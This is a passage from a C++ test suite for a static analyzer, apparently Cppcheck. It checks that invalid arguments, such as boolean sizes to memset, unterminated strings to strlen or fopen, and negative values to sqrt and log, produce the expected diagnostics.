errout_str());\n\n check(\"void f() { memset(a,b,!c); }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n\n // Ticket #6990\n check(\"void f(bool c) { memset(a,b,c); }\");\n ASSERT_EQUALS(\"[test.cpp:1:29]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n check(\"void f() { memset(a,b,true); }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n\n // Ticket #6588 (c mode)\n check(\"void record(char* buf, int n) {\\n\"\n \" memset(buf, 0, n < 255);\\n\" /* KO */\n \" memset(buf, 0, n < 255 ? n : 255);\\n\" /* OK */\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:2:20]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n\n // Ticket #6588 (c++ mode)\n check(\"void record(char* buf, int n) {\\n\"\n \" memset(buf, 0, n < 255);\\n\" /* KO */\n \" memset(buf, 0, n < 255 ? n : 255);\\n\" /* OK */\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n\n check(\"int boolArgZeroIsInvalidButOneIsValid(int a, int param) {\\n\"\n \" return div(a, param > 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (error) Invalid div() argument nr 2. The value is 0 or 1 (boolean) but the valid values are ':-1,1:'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void boolArgZeroIsValidButOneIsInvalid(int param) {\\n\"\n \" strtol(a, b, param > 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Invalid strtol() argument nr 3. The value is 0 or 1 (boolean) but the valid values are '0,2:36'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void f() { strtol(a,b,1); }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Invalid strtol() argument nr 3. The value is 1 but the valid values are '0,2:36'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void f() { strtol(a,b,10); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #10754\n \" int N = -1;\\n\"\n \" for (long i = 0; i < g(); i++)\\n\"\n \" N = h(N);\\n\"\n \" v.resize(N);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:14]: (warning) Invalid v.resize() argument nr 1. The value is -1 but the valid values are '0:'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void f(std::vector& v, int N) {\\n\"\n \" if (N < -1)\\n\"\n \" return;\\n\"\n \" v.resize(N);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:4:14]: (warning) Either the condition 'N<-1' is redundant or v.resize() argument nr 1 can have invalid value. The value is -1 but the valid values are '0:'. [invalidFunctionArg]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v, int N) {\\n\"\n \" if (N == -1) {}\\n\"\n \" v.resize(N);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:14]: (warning) Either the condition 'N==-1' is redundant or v.resize() argument nr 1 can have invalid value. The value is -1 but the valid values are '0:'. [invalidFunctionArg]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v, int N, bool b) {\\n\"\n \" if (b)\\n\"\n \" N = -1;\\n\"\n \" v.resize(N);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (warning) Invalid v.resize() argument nr 1. The value is -1 but the valid values are '0:'. [invalidFunctionArg]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" int N = -1;\\n\"\n \" v.resize(N);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (error) Invalid v.resize() argument nr 1. The value is -1 but the valid values are '0:'. [invalidFunctionArg]\\n\",\n errout_str());\n }\n\n void invalidFunctionUsageStrings() {\n check(\"size_t f() { char x = 'x'; return strlen(&x); }\");\n ASSERT_EQUALS(\"[test.cpp:1:42]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"size_t f() { return strlen(&x); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f(char x) { return strlen(&x); }\");\n ASSERT_EQUALS(\"[test.cpp:1:34]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"size_t f() { char x = '\\\\0'; return strlen(&x); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f() {\\n\"\n \" char x;\\n\"\n \" if (y)\\n\"\n \" x = '\\\\0';\\n\"\n \" else\\n\"\n \" x = 'a';\\n\"\n \" return strlen(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:17]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"int f() { char x = '\\\\0'; return strcmp(\\\"Hello world\\\", &x); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() { char x = 'x'; return strcmp(\\\"Hello world\\\", &x); }\");\n ASSERT_EQUALS(\"[test.cpp:1:54]: (error) Invalid strcmp() argument nr 2. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"size_t f(char x) { char * y = &x; return strlen(y); }\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1:42]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", \"\", errout_str());\n\n check(\"size_t f(char x) { char * y = &x; char *z = y; return strlen(z); }\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1:42]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", \"\", errout_str());\n\n check(\"size_t f() { char x = 'x'; char * y = &x; char *z = y; return strlen(z); }\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1:42]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", \"\", errout_str());\n\n check(\"size_t f() { char x = '\\\\0'; char * y = &x; char *z = y; return strlen(z); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f() { char x[] = \\\"Hello world\\\"; return strlen(x); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f(char x[]) { return strlen(x); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(char x, char y) { return strcmp(&x, &y); }\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (error) Invalid strcmp() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\"\n \"[test.cpp:1:43]: (error) Invalid strcmp() argument nr 2. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"size_t f() { char x[] = \\\"Hello world\\\"; return strlen(&x[0]); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f() { char* x = \\\"Hello world\\\"; return strlen(&x[0]); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" char x;\\n\"\n \"};\\n\"\n \"size_t f() {\\n\"\n \" S s1 = {0};\\n\"\n \" S s2;\\n;\"\n \" s2.x = 'x';\\n\"\n \" size_t l1 = strlen(&s1.x);\\n\"\n \" size_t l2 = strlen(&s2.x);\\n\"\n \" return l1 + l2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:22]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\"\n \"[test.cpp:9:22]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"const char x = 'x'; size_t f() { return strlen(&x); }\");\n ASSERT_EQUALS(\"[test.cpp:1:48]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"struct someStruct {\\n\"\n \" union {\\n\"\n \" struct {\\n\"\n \" uint16_t nr;\\n\"\n \" uint8_t d[40];\\n\"\n \" } data;\\n\"\n \" char buf[42];\\n\"\n \" } x;\\n\"\n \"};\\n\"\n \"int f(struct someStruct * const tp, const int k)\\n\"\n \"{\\n\"\n \" return strcmp(&tp->x.buf[k], \\\"needle\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct someStruct {\\n\"\n \" char buf[42];\\n\"\n \"};\\n\"\n \"int f(struct someStruct * const tp, const int k)\\n\"\n \"{\\n\"\n \" return strcmp(&tp->buf[k], \\\"needle\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const char x = 'x'; size_t f() { char y = x; return strlen(&y); }\");\n ASSERT_EQUALS(\"[test.cpp:1:60]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"const char x = '\\\\0'; size_t f() { return strlen(&x); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const char x = '\\\\0'; size_t f() { char y = x; return strlen(&y); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f() {\\n\"\n \" char * a = \\\"Hello world\\\";\\n\"\n \" char ** b = &a;\\n\"\n \" return strlen(&b[0][0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f() {\\n\"\n \" char ca[] = \\\"asdf\\\";\\n\"\n \" return strlen((char*) &ca);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5225\n check(\"int main(void)\\n\"\n \"{\\n\"\n \" char str[80] = \\\"hello worl\\\";\\n\"\n \" char d = 'd';\\n\"\n \" strcat(str, &d);\\n\"\n \" puts(str);\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:15]: (error) Invalid strcat() argument nr 2. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[1] = { \\'x\\' };\\n\"\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Invalid fopen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[2] = { \\'x\\', \\'y\\' };\\n\"\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Invalid fopen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[3] = { \\'x\\', \\'y\\' ,\\'\\\\0\\' };\\n\"\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[3] = { \\'x\\', \\'\\\\0\\' ,\\'y\\' };\\n\"\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[3] = { \\'x\\', \\'y\\' };\\n\" // implicit '\\0' added at the end\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[] = { \\'\\\\0\\' };\\n\"\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[] = { \\'0\\' + 42 };\\n\" // no size is explicitly defined, no implicit '\\0' is added\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Invalid fopen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[] = { \\'0\\' + 42, \\'x\\' };\\n\" // no size is explicitly defined, no implicit '\\0' is added\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Invalid fopen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[2] = { \\'0\\' + 42 };\\n\" // implicitly '\\0' added at the end because size is set to 2\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[] = { };\\n\"\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void scanMetaTypes()\\n\" // don't crash\n \"{\\n\"\n \" QVector metaTypes;\\n\"\n \" for (int mtId = 0; mtId <= QMetaType::User; ++mtId) {\\n\"\n \" const auto name = QMetaType::typeName(mtId);\\n\"\n \" if (strstr(name, \\\"GammaRay::\\\") != name)\\n\"\n \" metaTypes.push_back(mtId);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" const char c[3] = \\\"abc\\\";\\n\"\n \" return strlen(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" const wchar_t c[3] = L\\\"abc\\\";\\n\"\n \" return wcslen(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (error) Invalid wcslen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"void f(char* dest) {\\n\"\n \" char if_name[(IF_NAMESIZE > 21 ? IF_NAMESIZE : 21) + 1] = \\\"%\\\";\\n\"\n \" strcat(dest, if_name);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" const char c[3] = \\\"ab\\\\0\\\";\\n\"\n \" return strlen(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int n) {\\n\" // #11179\n \" char s[8] = \\\" \\\";\\n\"\n \" n = (n + 1) % 100;\\n\"\n \" sprintf(s, \\\"lwip%02d\\\", n);\\n\"\n \" s[strlen(s)] = ' ';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f() { wchar_t x = L'x'; return wcslen(&x); }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (error) Invalid wcslen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"void f() { char a[10] = \\\"1234567890\\\"; puts(a); }\", dinit(CheckOptions, $.cpp = false)); // #1770\n ASSERT_EQUALS(\"[test.c:1:44]: (error) Invalid puts() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n }\n\n void invalidFunctionArg1() {\n const Settings settingsUnix32 = settingsBuilder(settings).platform(Platform::Unix32).build();\n check(\"int main() {\\n\"\n \" char tgt[7];\\n\"\n \" char src[7+1] = \\\"7777777\\\";\\n\"\n \" if (sizeof tgt <= sizeof src) {\\n\"\n \" memmove(&tgt, &src, sizeof tgt);\\n\"\n \" } else {\\n\"\n \" memmove(&tgt, &src, sizeof src);\\n\"\n \" memset(&tgt + sizeof src, ' ', sizeof tgt - sizeof src);\\n\"\n \" }\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = false, $.s = &settingsUnix32));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mathfunctionCall_sqrt() {\n // sqrt, sqrtf, sqrtl\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << sqrt(-1) << std::endl;\\n\"\n \" std::cout << sqrtf(-1) << std::endl;\\n\"\n \" std::cout << sqrtl(-1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (error) Invalid sqrt() argument nr 1. The value is -1 but the valid values are '0.0:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:26]: (error) Invalid sqrtf() argument nr 1. The value is -1 but the valid values are '0.0:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:26]: (error) Invalid sqrtl() argument nr 1. The value is -1 but the valid values are '0.0:'. [invalidFunctionArg]\\n\", errout_str());\n\n // implementation-defined behaviour for \"finite values of x<0\" only:\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << sqrt(-0.) << std::endl;\\n\"\n \" std::cout << sqrtf(-0.) << std::endl;\\n\"\n \" std::cout << sqrtl(-0.) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << sqrt(1) << std::endl;\\n\"\n \" std::cout << sqrtf(1) << std::endl;\\n\"\n \" std::cout << sqrtl(1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mathfunctionCall_log() {\n // log,log10,logf,logl,log10f,log10l,log2,log2f,log2l,log1p,log1pf,log1pl\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << log(-2) << std::endl;\\n\"\n \" std::cout << logf(-2) << std::endl;\\n\"\n \" std::cout << logl(-2) << std::endl;\\n\"\n \" std::cout << log10(-2) << std::endl;\\n\"\n \" std::cout << log10f(-2) << std::endl;\\n\"\n \" std::cout << log10l(-2) << std::endl;\\n\"\n \" std::cout << log2(-2) << std::endl;\\n\"\n \" std::cout << log2f(-2) << std::endl;\\n\"\n \" std::cout << log2l(-2) << std::endl;\\n\"\n \" std::cout << log1p(-3) << std::endl;\\n\"\n \" std::cout << log1pf(-3) << std::endl;\\n\"\n \" std::cout << log1pl(-3) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:24]: (error) Invalid log() argument nr 1. The value is -2 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:25]: (error) Invalid logf() argument nr 1. The value is -2 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:25]: (error) Invalid logl() argument nr 1. The value is -2 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:6:26]: (error) Invalid log10() argument nr 1. The value is -2 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:7:27]: (error) Invalid log10f() argument nr 1. The value is -2 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:8:27]: (error) Invalid log10l() argument nr 1. The value is -2 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:9:25]: (error) Invalid log2() argument nr 1. The value is -2 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:10:26]: (error) Invalid log2f() argument nr 1. The value is -2 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:11:26]: (error) Invalid log2l() argument nr 1. The value is -2 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:3:19]: (warning) Passing value -2 to log() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing value -2 to logf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing value -2 to logl() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:6:19]: (warning) Passing value -2 to log10() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:7:19]: (warning) Passing value -2 to log10f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:8:19]: (warning) Passing value -2 to log10l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:9:19]: (warning) Passing value -2 to log2() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:10:19]: (warning) Passing value -2 to log2f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:11:19]: (warning) Passing value -2 to log2l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:12:19]: (warning) Passing value -3 to log1p() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:13:19]: (warning) Passing value -3 to log1pf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:14:19]: (warning) Passing value -3 to log1pl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << log(-1) << std::endl;\\n\"\n \" std::cout << logf(-1) << std::endl;\\n\"\n \" std::cout << logl(-1) << std::endl;\\n\"\n \" std::cout << log10(-1) << std::endl;\\n\"\n \" std::cout << log10f(-1) << std::endl;\\n\"\n \" std::cout << log10l(-1) << std::endl;\\n\"\n \" std::cout << log2(-1) << std::endl;\\n\"\n \" std::cout << log2f(-1) << std::endl;\\n\"\n \" std::cout << log2l(-1) << std::endl;\\n\"\n \" std::cout << log1p(-2) << std::endl;\\n\"\n \" std::cout << log1pf(-2) << std::endl;\\n\"\n \" std::cout << log1pl(-2) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:24]: (error) Invalid log() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:25]: (error) Invalid logf() argument nr 1. The value is -1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:25]: (error) Invalid logl() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:6:26]: (error) Invalid log10() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:7:27]: (error) Invalid log10f() argument nr 1. The value is -1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:8:27]: (error) Invalid log10l() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:9:25]: (error) Invalid log2() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:10:26]: (error) Invalid log2f() argument nr 1. The value is -1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:11:26]: (error) Invalid log2l() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:3:19]: (warning) Passing value -1 to log() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing value -1 to logf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing value -1 to logl() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:6:19]: (warning) Passing value -1 to log10() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:7:19]: (warning) Passing value -1 to log10f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:8:19]: (warning) Passing value -1 to log10l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:9:19]: (warning) Passing value -1 to log2() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:10:19]: (warning) Passing value -1 to log2f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:11:19]: (warning) Passing value -1 to log2l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:12:19]: (warning) Passing value -2 to log1p() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:13:19]: (warning) Passing value -2 to log1pf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:14:19]: (warning) Passing value -2 to log1pl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << log(-1.0) << std::endl;\\n\"\n \" std::cout << logf(-1.0) << std::endl;\\n\"\n \" std::cout << logl(-1.0) << std::endl;\\n\"\n \" std::cout << log10(-1.0) << std::endl;\\n\"\n \" std::cout << log10f(-1.0) << std::endl;\\n\"\n \" std::cout << log10l(-1.0) << std::endl;\\n\"\n \" std::cout << log2(-1.0) << std::endl;\\n\"\n \" std::cout << log2f(-1.0) << std::endl;\\n\"\n \" std::cout << log2l(-1.0) << std::endl;\\n\"\n \" std::cout << log1p(-2.0) << std::endl;\\n\"\n \" std::cout << log1pf(-2.0) << std::endl;\\n\"\n \" std::cout << log1pl(-2.0) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (error) Invalid log() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:26]: (error) Invalid logf() argument nr 1. The value is -1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:26]: (error) Invalid logl() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:6:27]: (error) Invalid log10() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:7:28]: (error) Invalid log10f() argument nr 1. The value is -1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:8:28]: (error) Invalid log10l() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:9:26]: (error) Invalid log2() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:10:27]: (error) Invalid log2f() argument nr 1. The value is -1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:11:27]: (error) Invalid log2l() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:3:19]: (warning) Passing value -1.0 to log() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing value -1.0 to logf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing value -1.0 to logl() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:6:19]: (warning) Passing value -1.0 to log10() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:7:19]: (warning) Passing value -1.0 to log10f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:8:19]: (warning) Passing value -1.0 to log10l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:9:19]: (warning) Passing value -1.0 to log2() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:10:19]: (warning) Passing value -1.0 to log2f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:11:19]: (warning) Passing value -1.0 to log2l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:12:19]: (warning) Passing value -2.0 to log1p() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:13:19]: (warning) Passing value -2.0 to log1pf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:14:19]: (warning) Passing value -2.0 to log1pl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << log(-0.1) << std::endl;\\n\"\n \" std::cout << logf(-0.1) << std::endl;\\n\"\n \" std::cout << logl(-0.1) << std::endl;\\n\"\n \" std::cout << log10(-0.1) << std::endl;\\n\"\n \" std::cout << log10f(-0.1) << std::endl;\\n\"\n \" std::cout << log10l(-0.1) << std::endl;\\n\"\n \" std::cout << log2(-0.1) << std::endl;\\n\"\n \" std::cout << log2f(-0.1) << std::endl;\\n\"\n \" std::cout << log2l(-0.1) << std::endl;\\n\"\n \" std::cout << log1p(-1.1) << std::endl;\\n\"\n \" std::cout << log1pf(-1.1) << std::endl;\\n\"\n \" std::cout << log1pl(-1.1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (error) Invalid log() argument nr 1. The value is -0.1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:26]: (error) Invalid logf() argument nr 1. The value is -0.1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:26]: (error) Invalid logl() argument nr 1. The value is -0.1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:6:27]: (error) Invalid log10() argument nr 1. The value is -0.1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:7:28]: (error) Invalid log10f() argument nr 1. The value is -0.1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:8:28]: (error) Invalid log10l() argument nr 1. The value is -0.1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:9:26]: (error) Invalid log2() argument nr 1. The value is -0.1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n 